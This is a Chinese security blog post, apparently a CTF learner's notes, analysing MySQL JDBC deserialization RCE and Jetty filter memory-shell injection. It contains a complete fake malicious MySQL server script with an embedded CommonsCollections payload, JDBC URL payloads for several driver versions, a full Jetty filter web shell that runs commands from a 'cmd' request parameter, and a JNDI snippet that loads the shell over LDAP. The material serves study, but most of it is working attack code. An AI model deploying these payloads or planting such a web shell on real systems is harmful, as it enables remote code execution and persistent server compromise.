Jetty低版本内存马、mysqljdbc

Posted by Azeril on October 18, 2023

MySQLJDBC反序列化漏洞分析

当JDBC连接到数据库时驱动会自动执行SHOW SESSION STATUS和SHOW COLLATION查询并对查询结果进行反序列化处理,如果我们可以控制jdbc客户端的url连接去连接我们自己的一个恶意mysql服务(这个恶意服务只需要能回复jdbc发来的数据包即可)当jdbc驱动自动执行一些查询(如show session status或show collation)这个服务会给jdbc发送序列化后的payload然后jdbc本地进行反序列化处理后触发RCE

————————————————
例题wp链接https://blog.csdn.net/qq_62046696/article/details/130540893

之前只是在题目中见过并没仔细分析,这篇文章将进行一个系统的学习。

依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.13</version>
        </dependency>

连接源码

Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://localhost:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
                "&autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");

漏洞分析

在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor中下断点,我们可以知道这个类是一个拦截器。在JDBC URL中设定属性queryInterceptorsServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcesspostProcess方法,进而调用getObject()方法。

image-20231015195721473

连接到数据库时,驱动会自动执行SHOW SESSION STATUS和SHOW COLLATION查询
所以也就会执行 preProcess和postProcess方法

通过看调用链也很明显发现,直接从查询拦截器,直接到了 preProcess 方法证明的前面的语句

image-20231015195937885

以下是一个调用:

com\mysql\cj\jdbc\interceptors\ServerStatusDiffInterceptor.class#preProcess
         ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
                 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap  方法里面有getObject1 

image-20231015200137477

image-20231015200246266

看到这发现不是因为执行了 SHOW SESSION STATUS语句(最后发现是 set autocommit这个语句)

image-20231015200445669

image-20231015201230173

ResultSetImpl#getObject

首先需要进行分析(内容有删减,只留下了BLOB的内容)

public Object getObject(int columnIndex) throws SQLException {
        try {
            this.checkRowPos();
            this.checkColumnBounds(columnIndex);
            int columnIndexMinusOne = columnIndex - 1;//2-1=1
            if (this.thisRow.getNull(columnIndexMinusOne)) {
                return null;
            } else {
                Field field = this.columnDefinition.getFields()[columnIndexMinusOne];//这里是匹配第一列的内容类型
                switch (field.getMysqlType()) {
                  case BLOB:
                        if (!field.isBinary() && !field.isBlob()) {//如果数据类型是二进制 或者Blob进入else
                            return this.getBytes(columnIndex);
                        } else {
                            byte[] data = this.getBytes(columnIndex);//获得第一列的字节
                            if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                                //如果autoDeserialize为false直接返回,看名字也能猜到是序列化有关类
                                return data;
                            } else {
                                Object obj = data;
                                //这里获得的是第二个字段的内容
                                if (data != null && data.length >= 2) {
                                    if (data[0] != -84 || data[1] != -19) {//这里是序列化的头,下面会介绍
                                        return this.getString(columnIndex);
                                    }

                                    try {
                                        ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                        //对data进行序列化
                                        ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                        obj = objIn.readObject();
                                        objIn.close();
                                        bytesIn.close();

payload中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true就很容易理解了,而其他版本目录有变,所以payload也有变。

调用链子为


     com\mysql\cj\jdbc\interceptors\ServerStatusDiffInterceptor.class#preProcess
            ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
                  com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap  方法里面有getObject1 
                               ResultSetImpl#getObject

在mysql版本为 5.1.29

一点要看的题外话:看前面提到的5.x的手册,detectCustomCollations这个选项是从5.1.29开始的,经过代码比对,可以认为detectCustomCollations这个选项在5.1.29之前一直为true。

触发点在com.mysql.jdbc.ConnectionImplbuildCollationMapping方法中:

<dependencies>
    <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>5.1.29</version>
    </dependency>
</dependencies>

发现直接跑是跑不通了,看一下代码

发现com.mysql.cj cj这个文件夹已经没了

变成了com.mysql.jdbc这个包
com\mysql\jdbc\interceptors\ServerStatusDiffInterceptor.class

image-20231015204909530

可以看到这里有两个条件,服务器版本大于等于4.1.0,并且detectCustomCollations选项为true,然后获取SHOW COLLATION的结果后,服务器版本大于等于5.0.0才会进入到resultSetToMap方法触发反序列化

    public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection) throws SQLException {
        //
        if (connection.versionMeetsMinimum(5, 0, 2)) {
            this.populateMapWithSessionStatusValues(connection, this.postExecuteValues);
            connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
        }

        return null;
    }

    private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
        java.sql.Statement stmt = null;
        ResultSet rs = null;

        try {
            toPopulate.clear();
            stmt = connection.createStatement();
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            Util.resultSetToMap(toPopulate, rs);
        } finally {
            if (rs != null) {
                rs.close();
            }

            if (stmt != null) {
                stmt.close();
            }

        }

    }

    public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
        if (connection.versionMeetsMinimum(5, 0, 2)) {
            this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
        }

这里是通过了一个恶意的mysql python服务器来实现的

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

偷的脚本,里面的数字就是根据流量监控模拟真实的返回值

image-20231015211631306

ServerStatusDiffInterceptor触发:

8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。

5.0.x:还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations触发:

5.1.41及以上:不可用

5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc

5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc

5.1.18以下的5.1.x版本:不可用

5.0.x版本不可用
其实这一块在实际中用不到,毕竟哪一个网站会让你 mysql连接都可控呢,只有ctf题才有可能

Jetty内存马

环境搭建

Jetty是一个开源的servlet容器其实和tomcat很详细但它可以迅速为一些独立运行的java应用提供网络和web连接
<dependency>
        <groupId>org.eclipse.jetty</groupId>
        <artifactId>jetty-server</artifactId>
        <version>9.4.30.v20200611</version>
        <scope>provided</scope>
    </dependency>

本地搭建的时候一直不对,搭了好几天了,先看原理了~~~

Filter分析

寻找第一个出现和filters相关信息的调用栈,可以快速定位获取上下文的内容。

image-20231016190632327

找到第一次调用doFilter的地方,ServletHandler::doHandle中第一次调用了doFilter,chain.doFilter().

考虑chain是如何生成的

image-20231016190844559

ServletHandler::doHandle中定义了chain(FilterChain)类型,接着调用了getFilterChain,跟进查看getFilterChain,该函数构造FilterChain。

image-20231016191306880

下面是对filters进行了一个遍历不对
    应该是对_filterpathMappings进行了一个遍历从中获取元素中的_HolderFilterHolder类型),然后把值存进filters中应该就是把路径存了进去

image-20231016191405896

也就是获得的是filter自定义过滤器的名字

image-20231016192104926

接着经过new ServletHandler.CacheChain(filers,servletHolder),会将filters中的信息存入chain,然后返回chain。

image-20231016192331663

继续往上跟进,观察_filterPathMappings如何生成的。观察调用栈可以发现,在第一次调用ServletHandler的时候,在实例化的ServletHandler对象中有this._filterPathMappings,那么可以理解为获取到ServletHandler对象就能获取到_filterPathMappings

image-20231016192531539

所以如何将恶意filter注入的关键在于在_filterPathMappings中添加必要的元素。需要往filerPathMappings中添加FilterMapping类型的元素。根据经验,可以假设FilterMapping中需要包含如下三个变量。

image-20231016192705153

image-20231016192849489

先写一下我的思路其实可以发现递归啥的根源就是这个_filePathMappings而_filePathMappings又是从ServletHandler中获得的所以我们要先获取这个ServletHandler这个对象

其他✌的思路,基本相似

1获取ServletHandler
2获取_filterPathMappings
3往_filterPathMappings中添加元素FilterMapping的实例化对象
其中该实例化对象包含三个变量分别是_filterName,_holder,_pathSpecs

10.16晚终于把环境搞定了通过从网上拔了一个项目,改吧改吧

X:\jetty\code-servlet-parent(项目的路径)

参考这个连接:使用maven-Jetty9-plugin插件运行第一个Servlet - 极客子羽 - 博客园 (cnblogs.com)

又遇到一个问题,就是原代码没有下载下来,导致不能看源代码,直接pom.xml导致一个依赖

 <dependency>
             <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-server</artifactId>
             <version>9.4.33.v20201020</version>
             <scope>provided</scope>
         </dependency>

直接在右边调试运行

image-20231017155214571

然后先找一个能打通的文章细看

image-20231017192704373

文章非常nice我都能看懂,就不生产垃圾了http://wjlshare.com/archives/1707

import javax.servlet.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Map;

@SuppressWarnings("all")
public class JettyFilterMemShell implements Filter {

    Object request = null;
    Object response = null;
    boolean bool = false;
    String filterName = "evilFilter";
    String urlPattern = "/*";

    static {
            JettyFilterMemShell shell = new JettyFilterMemShell();
            try {
                shell.init();
                Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
            // 获取 ServletHandler 对象
            Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");

            Object[] _filters = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filters");
            // 判断 filter 是否已注入,如果已注入就不继续运行代码
            for (Object filter:_filters){
                String _name = (String) JettyFilterMemShell.getField(filter,"_name");
                if (_name.equals(shell.filterName)){
                    shell.bool = true;
                    break;
                }
            }

            if (!shell.bool){
                // 反射获取 FilterHolder 构造器并进行实例化
                Class filterHolderClas = _filters[0].getClass(); 
                Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
                Object filterHolder = filterHolderCons.newInstance(shell); 

                // 反射获取 FilterMapping 构造器并进行实例化
                Object[] _filtersMappings = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filterMappings");
                Class filterMappingClas = _filtersMappings[0].getClass(); 
                Constructor filterMappingCons = filterMappingClas.getConstructor();
                Object filterMapping = filterMappingCons.newInstance();

                // 反射赋值 filter 名
                Field _filterNameField = filterMappingClas.getDeclaredField("_filterName");
                _filterNameField.setAccessible(true);
                _filterNameField.set(filterMapping,shell.filterName);

                // 反射赋值 _holder
                Field _holderField = filterMappingClas.getDeclaredField("_holder");
                _holderField.setAccessible(true);
                _holderField.set(filterMapping,filterHolder);

                // 反射赋值 urlpattern
                Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs");
                _pathSpecsField.setAccessible(true);
                _pathSpecsField.set(filterMapping,new String[]{shell.urlPattern});

                /**
                 * private final Map<String, FilterHolder> _filterNameMap = new HashMap();
                 *
                 *  at org.eclipse.jetty.servlet.ServletHandler.updateMappings(ServletHandler.java:1345)
                 *  at org.eclipse.jetty.servlet.ServletHandler.setFilterMappings(ServletHandler.java:1542)
                 *  at org.eclipse.jetty.servlet.ServletHandler.prependFilterMapping(ServletHandler.java:1242)
                 */

                // 属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量
                Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap");
                _filterNameMapField.setAccessible(true);
                Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
                modifiersField.setAccessible(true);
                modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL);
                // 先把原来的取出来然后再放进去
                Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler);
                _filterNameMap.put(shell.filterName, filterHolder);
                _filterNameMapField.set(_servletHandler,_filterNameMap);
                                // 调用 prependFilterMapping 将 mapping 放到第一个
                Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas);
                prependFilterMappingMethod.setAccessible(true);
                prependFilterMappingMethod.invoke(_servletHandler,filterMapping);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void init() throws Exception{
        Class<?> clazz = Thread.currentThread().getClass();
        Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object object = field.get(Thread.currentThread());
        field = object.getClass().getDeclaredField("table");
        field.setAccessible(true);
        object = field.get(object);
        Object[] arrayOfObject = (Object[])object;
        for (byte b = 0; b < arrayOfObject.length; b++) {
            Object object1 = arrayOfObject[b];
            if (object1 != null) {
                field = object1.getClass().getDeclaredField("value");
                field.setAccessible(true);
                object = field.get(object1);
                if (object != null && object.getClass().getName().endsWith("HttpConnection")) {
                    Method method = object.getClass().getDeclaredMethod("getHttpChannel", null);
                    Object object2 = method.invoke(object, null);
                    method = object2.getClass().getMethod("getRequest", null);
                    this.request =  method.invoke(object2, null);
                    method = this.request.getClass().getMethod("getResponse", null);
                    this.response =  method.invoke(this.request, null);
                    break;
                }
            }
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null && !cmd.isEmpty()){
            String[] cmds = null;
            if(File.separator.equals("/")){
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }else{
                cmds = new String[]{"cmd", "/C", cmd};
            }

            Process process = Runtime.getRuntime().exec(cmds);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
    }

    public static Object getField(Object obj, String fieldName) throws Exception {
        Field f0 = null;
        Class clas = obj.getClass();

        while (clas != Object.class){
            try {
                f0 = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (f0 != null){
            f0.setAccessible(true);
            return f0.get(obj);
        }else {
            throw new NoSuchFieldException(fieldName);
        }
    }
}

image-20231017201951005

想了想还是生产点垃圾叭,不然忘得飞速

通过看前面的例子大致知道了流程,就是首先看调用filter前面一个

image-20231018184820399

发现调用chain.doFilter,那么看看chain在哪里被赋值的

image-20231018185012116

在上面调用了getFilterChain,最终在ServletHandler中调用了newFilterChain方法,并且循环遍历了filterMaping

image-20231018185909493

最后chain成为了这个样子

image-20231018190505121

_config的值 是FilterHolder类型

image-20231018190657880

其实到这里就有点蒙不知道找啥了,但其实目的就是找到像 javaweb中配置web .xml中的那些元素,比如 包名.类名  名字  路由
在chain中的 _className是 HelloJettyServlet

发现了配好的FilterHolder在,_filters中

image-20231018192435961

在ServletHandler中的_filterMappings中获取了路由等信息,我们发现在__holder中啥都有

image-20231018192830781

总而言之,我们需要获取 ServletHandler中这个对象通过遍历线程之类的

可以通过request._scope.__servletHandler获取到我们的servlethandler对象

image-20231018194458767

Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");

JettyFilterMemShell是我们内存马的类名

虽然能看懂但要让我

 if (!shell.bool){
                // 反射获取 FilterHolder 构造器并进行实例化
                Class filterHolderClas = _filters[0].getClass(); 
                Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
                Object filterHolder = filterHolderCons.newInstance(shell); 

                // 反射获取 FilterMapping 构造器并进行实例化
                Object[] _filtersMappings = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filterMappings");
                Class filterMappingClas = _filtersMappings[0].getClass(); 
                Constructor filterMappingCons = filterMappingClas.getConstructor();
                Object filterMapping = filterMappingCons.newInstance();

                // 反射赋值 filter 名
                Field _filterNameField = filterMappingClas.getDeclaredField("_filterName");
                _filterNameField.setAccessible(true);
                _filterNameField.set(filterMapping,shell.filterName);

                // 反射赋值 _holder
                Field _holderField = filterMappingClas.getDeclaredField("_holder");
                _holderField.setAccessible(true);
                _holderField.set(filterMapping,filterHolder);

                // 反射赋值 urlpattern
                Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs");
                _pathSpecsField.setAccessible(true);
                _pathSpecsField.set(filterMapping,new String[]{shell.urlPattern});

以上其实就是为了

对下面的三个值反射赋值

image-20231018200738048

Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap");
                _filterNameMapField.setAccessible(true);
                Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
                modifiersField.setAccessible(true);


                modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL);
                // 先把原来的取出来然后再放进去
                Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler);
                _filterNameMap.put(shell.filterName, filterHolder);
                _filterNameMapField.set(_servletHandler,_filterNameMap);
                                // 调用 prependFilterMapping 将 mapping 放到第一个
                Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas);//进行排序,把恶意的路由放到第一个执行
                prependFilterMappingMethod.setAccessible(true);
                prependFilterMappingMethod.invoke(_servletHandler,filterMapping);

首先我们在ServletHandler中发现了一个updateMappings的方法,那肯定就是在这里添加Mapping路由信息

image-20231018202915254

发现拿的是_filterNameMap 中的值,

image-20231018203113622

不巧是一个final的,属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量

image-20231018203404719

使用位操作(& ~Modifier.FINAL)将修饰符值中的 FINAL 位清除(将修饰符值与 Modifier.FINAL 取反按位与)。
 Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
                modifiersField.setAccessible(true);


                modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL);

然后最后剩下的init就是获得当前的线程,请求响应啥的直接套即可。

完结撒花❀

其实就是跟一下sevlet的流程比如创建mapping然后我们通过反射把这一流程实现学到了final的值不能直接反射修改需要改Modifier属性

前台JNDI内存马注入

本质上没变,就是jndi恶意加载了个内存马,

public class x {
    public Object req = null;
    public Object resp = null;
    def x(){
        Class clazz = Thread.currentThread().getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
        field.setAccessible(true);
        Object obj = field.get(Thread.currentThread());
        field = obj.getClass().getDeclaredField("table");
        field.setAccessible(true);
        obj = field.get(obj);
        Object[] obj_arr = (Object[]) obj;
        for(int i = 0; i < obj_arr.length; i++){
            Object o = obj_arr[i];
            if(o == null) continue;
            field = o.getClass().getDeclaredField("value");
            field.setAccessible(true);
            obj = field.get(o);
            if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
                java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
                Object httpChannel = method.invoke(obj, null);
                method = httpChannel.getClass().getMethod("getRequest", null);
                this.req = method.invoke(httpChannel, null);
                method = this.req.getClass().getMethod("getResponse",null);
                this.resp = method.invoke(this.req,null);
                method = this.resp.getClass().getMethod("getWriter",null);
                java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null);
                javax.naming.Context ctx = new javax.naming.InitialContext();
                ctx.lookup("ldap://localhost:1389/JettyFilterMemShell");
                break;
            }
        }
    }
}

Jetty高版本内存马

简单的看了一下说是jdk高版本就不让用反射了,但我看别的文章都是用的Unsafe然后里面也会出现getfiled这些不也是反射嘛???

但是确定的是不能用这个了,发现setAccessible执行的时候抛出了异常,有道理这个不能用其实就相当于限制了反射,毕竟反射是获得那些私有的,public需要啥反射

首先看一下低版本的,发现是通过线程获得 threadLocals,然后获取threadLocals里面的table,下面有field.setAccessible但是高版本就不行了,我们需要用Unsafe替换掉

image-20231021192119660

前面其实就是在寻找request和response的

通过Thread.threadLocals.table[i]

这里为啥是i不是固定的,因为从下面调试结果可以看出来table是一个数组元素,request、response在其中一个数组元素当中

((HttpChannelOverHttp)((HttpConnection)((Thread)this).threadLocals.table[x].value)._channel)._request
((HttpConnection)((Thread)this).threadLocals.table[x].value).getHttpChannel().getResponse()

image-20231021193212881

image-20231021194109777

写一下代码;

((HttpChannelOverHttp)((HttpConnection)((Thread)this).threadLocals.table[x].value)._channel)._request
 f = threads[i].getClass().getDeclaredField("threadLocals");//获得threadLocals字段
 
 threadLocals = unsafe.getObject(threads[i], unsafe.objectFieldOffset(f));//获得threadLocals的值
 
